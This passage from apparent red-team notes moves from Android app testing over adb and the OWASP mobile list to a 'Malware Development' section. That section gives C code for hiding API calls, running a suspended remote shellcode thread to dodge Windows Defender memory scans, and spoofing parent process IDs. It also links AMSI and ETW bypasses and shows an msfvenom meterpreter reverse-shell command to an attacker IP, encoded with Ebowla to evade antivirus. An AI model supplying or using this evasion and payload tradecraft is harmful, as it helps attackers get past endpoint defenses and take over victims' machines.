* Mount a writeable system `adb shell "mount -o rw,remount /system"`
* Upload the certificate `adb push <generated.0> /system/etc/security/cacerts/` `adb push 9a5ba575.0 /system/etc/security/cacerts/`
* Reboot the vm `adb reboot`

## Setting up proxy using ADB

Setting up a proxy

* `adb shell settings put global http_proxy <proxy ip>:<proxy port>`&#x20;

Flushing the proxy setting&#x20;

* `adb shell settings delete global http_proxy`

## Currently focused activity

```bash
vbox86p:/ # dumpsys window windows | grep -E 'mCurrentFocus|mFocusedApp'
  mCurrentFocus=Window{dbfa51e u0 com.mailchimp.mailchimp/com.mailchimp.android.mcm.ui.auth.onboarding.OnboardingActivity}
  mFocusedApp=AppWindowToken{f6705a0 token=Token{2e6bea3 ActivityRecord{4b7dd2 u0 com.mailchimp.mailchimp/com.mailchimp.android.mcm.ui.auth.onboarding.OnboardingActivity t10}}}
```

```
vbox86p:/ # dumpsys window displays | grep -E "mCurrentFocus"
  mCurrentFocus=Window{36941bb u0 com.block.juggle/org.cocos2dx.javascript.AppActivity}
```

## Focusing / Starting another activity

`am start -n com.mailchimp.mailchimp/com.mailchimp.android.mcm.ui.upload.FileUploadActivity`

## List activities of an APK

```bash
127|vbox86p:/ # dumpsys package | grep -Eo "^[[:space:]]+[0-9a-f]+[[:space:]]+com.mailchimp.mailchimp/[^[:space:]]+" | grep -oE "[^[:space:]]+$" | sort -u
com.mailchimp.mailchimp/androidx.work.impl.background.systemalarm.ConstraintProxy$BatteryChargingProxy
com.mailchimp.mailchimp/androidx.work.impl.background.systemalarm.ConstraintProxy$BatteryNotLowProxy
com.mailchimp.mailchimp/androidx.work.impl.background.systemalarm.ConstraintProxy$NetworkStateProxy
com.mailchimp.mailchimp/androidx.work.impl.background.systemalarm.ConstraintProxy$StorageNotLowProxy
com.mailchimp.mailchimp/androidx.work.impl.background.systemalarm.ConstraintProxyUpdateReceiver
com.mailchimp.mailchimp/androidx.work.impl.background.systemalarm.RescheduleReceiver
com.mailchimp.mailchimp/com.google.firebase.iid.FirebaseInstanceIdReceiver
com.mailchimp.mailchimp/com.google.firebase.messaging.FirebaseMessagingService
com.mailchimp.mailchimp/com.mailchimp.android.mcm.fcm.MCMFirebaseInstanceIDService
com.mailchimp.mailchimp/com.mailchimp.android.mcm.fcm.MCMFirebaseMessagingService
com.mailchimp.mailchimp/com.mailchimp.android.mcm.shortcut.ShortcutLauncherActivity
com.mailchimp.mailchimp/com.mailchimp.android.mcm.ui.auth.splash.SplashActivity
com.mailchimp.mailchimp/com.mailchimp.android.mcm.ui.upload.FileUploadActivity
com.mailchimp.mailchimp/com.mailchimp.android.mcm.widgets.addsubscribers.AddSubscriberWidgetConfigureActivity
com.mailchimp.mailchimp/com.mailchimp.android.mcm.widgets.addsubscribers.AddSubscriberWidgetProvider
com.mailchimp.mailchimp/com.mailchimp.android.mcm.widgets.recentcampaign.RecentCampaignWidgetConfigureActivity
com.mailchimp.mailchimp/com.mailchimp.android.mcm.widgets.recentcampaign.RecentCampaignWidgetProvider
com.mailchimp.mailchimp/io.branch.referral.InstallListener
```

```bash
morph3 ➜ /tmp/ λ aapt list -a $wd/../Downloads/mailchimp-marketing-crm-to-grow-your-business_5.47.0\(21380\).apk | sed -n '/ activity /{:loop n;s/^.*android:name.*="\([^"]\{1,\}\)".*/\1/;T loop;p;t}' | sort -u
com.google.android.gms.auth.api.signin.internal.SignInHubActivity
com.google.android.gms.common.api.GoogleApiActivity
com.google.android.libraries.places.widget.AutocompleteActivity
com.jakewharton.processphoenix.ProcessPhoenix
com.mailchimp.android.mcm.LocalApiKeyActivity
com.mailchimp.android.mcm.shortcut.ShortcutLauncherActivity
com.mailchimp.android.mcm.ui.NewTaskSingleFragmentActivity
com.mailchimp.android.mcm.ui.SingleFragmentActivity
com.mailchimp.android.mcm.ui.auth.onboarding.OnboardingActivity
com.mailchimp.android.mcm.ui.auth.splash.AsyncSplashActivity
com.mailchimp.android.mcm.ui.auth.splash.IntroActivity
com.mailchimp.android.mcm.ui.home.detail.ad.AdEditingActivity
com.mailchimp.android.mcm.ui.neapolitan.MobileNeapolitanActivity
com.mailchimp.android.mcm.ui.signup.SignUpActivity
com.mailchimp.android.mcm.ui.upload.FileUploadActivity
com.mailchimp.android.mcm.widgets.AccountVerificationForwardingActivity
com.mailchimp.android.mcm.widgets.addsubscribers.AddSubscriberWidgetConfigureActivity
com.mailchimp.android.mcm.widgets.recentcampaign.RecentCampaignWidgetConfigureActivity
com.yalantis.ucrop.UCropActivity
```

## Mobile Vulnerabilities & What to check

## OWASP Top 10

* M1 Improper Platform Usage
  * Misconfigurations in AndroidManifest.xml
* M2 Insecure Data Storage
  * If an app storages a data on the external storage insecurely. SQL Databases, XML files, Log files, Cookie storages, Binary Data etc.
* M3 Insecure Communication
  * Clear text communication, communication without SSL
* M4 Insecure Authentication
  * Insecure 2FA implementations, 2FA bypass.
  * If you can access to an API without authorization.
  * OTP bypass, Client side bypasses. For example you can manipulate the response of the server and bypass the 2FA or OTP.
* M5 Insufficient Cryptography
  * Incorrent encryption, using encoding.
* M6 Insecure Authorization
  * IDORs
* M7 Client Code Quality
  * Client side sql injection, buffer overflows, XSS.
* M8 Code Tampering
  * For example, cracking a free aplication to a premium one.
* M9 Reverse Engineering
  * Sensitive informations, strings etc.
* M10 Extraneous Functionality
  * For example, developer forgots an external functionality on the app.
  * Leftover backdoor, debug parameter etc.


# Malware Development

* <https://malapi.io/>
* <https://medium.com/@sam.rothlisberger/havoc-c2-with-av-edr-bypass-methods-in-2024-part-1-733d423fc67b>
* <https://github.com/SaadAhla/Shellcode-Hide>
* <https://github.com/Maldev-Academy/MaldevAcademyLdr.1>
*


# Process Migration

* <https://gitbook.seguranca-informatica.pt/privilege-escalation-privesc/process-migration-like-meterpreter>


# Process Hollowing

* <https://github.com/chvancooten/OSEP-Code-Snippets/blob/main/Shellcode%20Process%20Hollowing/Program.cs>
* <https://github.com/Nariod/laz-y/blob/master/templates/hollow.cs>


# Dynamic API Resolution

Create declerations for the functions you are going to call.

```c
HANDLE (WINAPI *myHeapCreate)( DWORD flOptions, SIZE_T dwInitialSize, SIZE_T dwMaximumSize );
LPVOID (WINAPI *myHeapAlloc)( HANDLE hHeap, DWORD  dwFlags, SIZE_T dwBytes);
```

Resolve them,

```c
HMODULE kernel32dll             = GetModuleHandleA("kernel32.dll");
myHeapCreate                    = GetProcAddress(kernel32dll, "HeapCreate");
myHeapAlloc                     = GetProcAddress(kernel32dll, "HeapAlloc");
```

And now you call them,

```c
HANDLE hHeap = myHeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
void* hmem = myHeapAlloc(hHeap, 0, 0x1000);
```

You can ideally encode hardcode strings like "kernel32.dll", "HeapCreate" etc.&#x20;

* <https://github.com/morph3/myldr/blob/main/templates/default_template.c>

Dynamically resolving hashed-NTAPI Calls

* <https://mez0.cc/posts/dynamic-api-fnv/>


# Suspended Threads

```c
printf("[+] Changing memory protection, marking it as PAGE_NO_ACCESS\n");
//Mark memory as PAGE_NOACCESS (0x1)
myVirtualProtectEx(hProcess, pRemoteBuffer, SHELLCODE_MEMORY_SIZE, PAGE_NOACCESS, &protect); // out uint lpflOldProtect ?

// create suspended remote thread
//IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0x00000004, out hThread);

// CREATE_SUSPENDED = 0x00000004
printf("[+] Creating suspended remote thread\n");
hRemoteThread = myCreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteBuffer, NULL, CREATE_SUSPENDED, NULL);

//sleep 15 seconds while defender scans the memory
printf("[+] Sleeping for 15 seconds...\n");

//CronosSleep(15);
Sleep(15000);

// Mark memory as executable again; PAGE_EXECUTE_READWRITE (0x40)
printf("[+] Changing memory protection back, marking it as PAGE_EXECUTE_READWRITE\n");
myVirtualProtectEx(hProcess, pRemoteBuffer, SHELLCODE_MEMORY_SIZE, PAGE_EXECUTE_READWRITE, &protect);

printf("[+] Resuming remote thread\n");
myResumeThread(hRemoteThread);

```

* [https://www.bordergate.co.uk/windows-defender-memory-scanning-evasion/](<https://www.bordergate.co.uk/windows-defender-memory-scanning-evasion/&#xA;>)
* <https://github.com/morph3/myldr/blob/main/templates/msbuild_aes_encrypt_suspended_thread.csproj>
* <https://github.com/morph3/myldr/blob/main/templates/suspended_thread.c>


# PPID Spoofing

```c
#include <windows.h>
#include <TlHelp32.h>
#include <iostream>

int main() 
{
	STARTUPINFOEXA si;
	PROCESS_INFORMATION pi;
	SIZE_T attributeSize;
	ZeroMemory(&si, sizeof(STARTUPINFOEXA));
	
	HANDLE parentProcessHandle = OpenProcess(MAXIMUM_ALLOWED, false, 6200);

	InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
	si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
	InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);
	UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL);
	si.StartupInfo.cb = sizeof(STARTUPINFOEXA);

	CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);

	return 0;
}
```

* <https://www.ired.team/offensive-security/defense-evasion/parent-process-id-ppid-spoofing>
* <https://pentestlab.blog/2020/02/24/parent-pid-spoofing/>
*


# Thread Stack Spoofing

* <https://github.com/Kudaes/Unwinder>


# ETW (Event Tracing for Windows)

* <https://github.com/Mr-Un1k0d3r/AMSI-ETW-Patch>


# AMSI Bypass

We can try if AMSI is enabled with  `amsiutils`

<figure><img src="/files/4EUXuxRCLvFNRxv9GEZ0" alt=""><figcaption></figcaption></figure>

Use the code block here,

* [https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell#modified-amsi-scanbuffer-patch](<https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell#modified-amsi-scanbuffer-patch >)

<figure><img src="/files/xXZIUXsSysRKh8ksANCd" alt=""><figcaption></figcaption></figure>


# Tools

## Ebowla

We encode a payload that gets dynamically decoded in the run time on the box. For example we use environment variables for encoding like username, computer name etc.

* <https://github.com/Genetic-Malware/Ebowla>

```
msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.133 LPORT=9001 -f exe > shell.exe
./ebowla.py shell.exe genetic.config
./build_x64_go.sh output/go_symmetric_shell.exe.go morph3-ebowla.exe
```

An example genetic.config,

```
...
     output_type = GO 
...
        [[ENV_VAR]]
        username = 'morph3'
        computername = ''
        homepath = ''
        homedrive = ''
        Number_of_processors = ''
        processor_identifier = ''
        processor_revision = ''
        userdomain = 'acme'
        systemdrive = ''
        userprofile = ''
        path = ''
        temp = ''
```

## Nimcrypt2

* <https://github.com/icyguider/Nimcrypt2>

* [https://twitter.com/binitamshah/status/1594698510762332160?s=46\&t=LDLfp0MIS1Dsg420TRpKXA](<https://twitter.com/binitamshah/status/1594698510762332160?s=46\&t=LDLfp0MIS1Dsg420TRpKXA&#xA;>)

* [<br>](<https://twitter.com/binitamshah/status/1594698510762332160?s=46\&t=LDLfp0MIS1Dsg420TRpKXA&#xA;>)


# Esoteric

* [https://github.com/morph3/gizligizli ](https://github.com/morph3/gizligizli)


